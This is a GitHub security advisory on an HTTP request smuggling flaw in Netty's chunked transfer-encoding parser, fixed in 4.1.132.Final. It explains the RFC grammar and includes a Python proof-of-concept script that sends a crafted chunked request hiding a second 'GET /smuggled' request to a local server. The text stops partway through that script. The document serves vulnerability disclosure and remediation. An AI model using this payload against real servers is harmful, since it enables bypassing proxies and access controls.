GitHub Security Advisory: GHSA-pwqr-wmgm-9rr8
Package: io.netty:netty-codec-http (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: < 4.1.132.Final
Patched in: 4.1.132.Final

Summary: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Details:
## Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

## Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html>
- <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

## Technical Details

**RFC 9110 Section 7.1.1** defines chunked transfer encoding:

```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```

**RFC 9110 Section 5.6.4** defines quoted-string:

```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```

Critically, the allowed character ranges within a quoted-string are:

```
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
```

CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).

## Vulnerability

Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

**Expected behavior (RFC-compliant):**
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

**Actual behavior (Netty):**

```
Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
```

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

## Proof of Concept

```python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break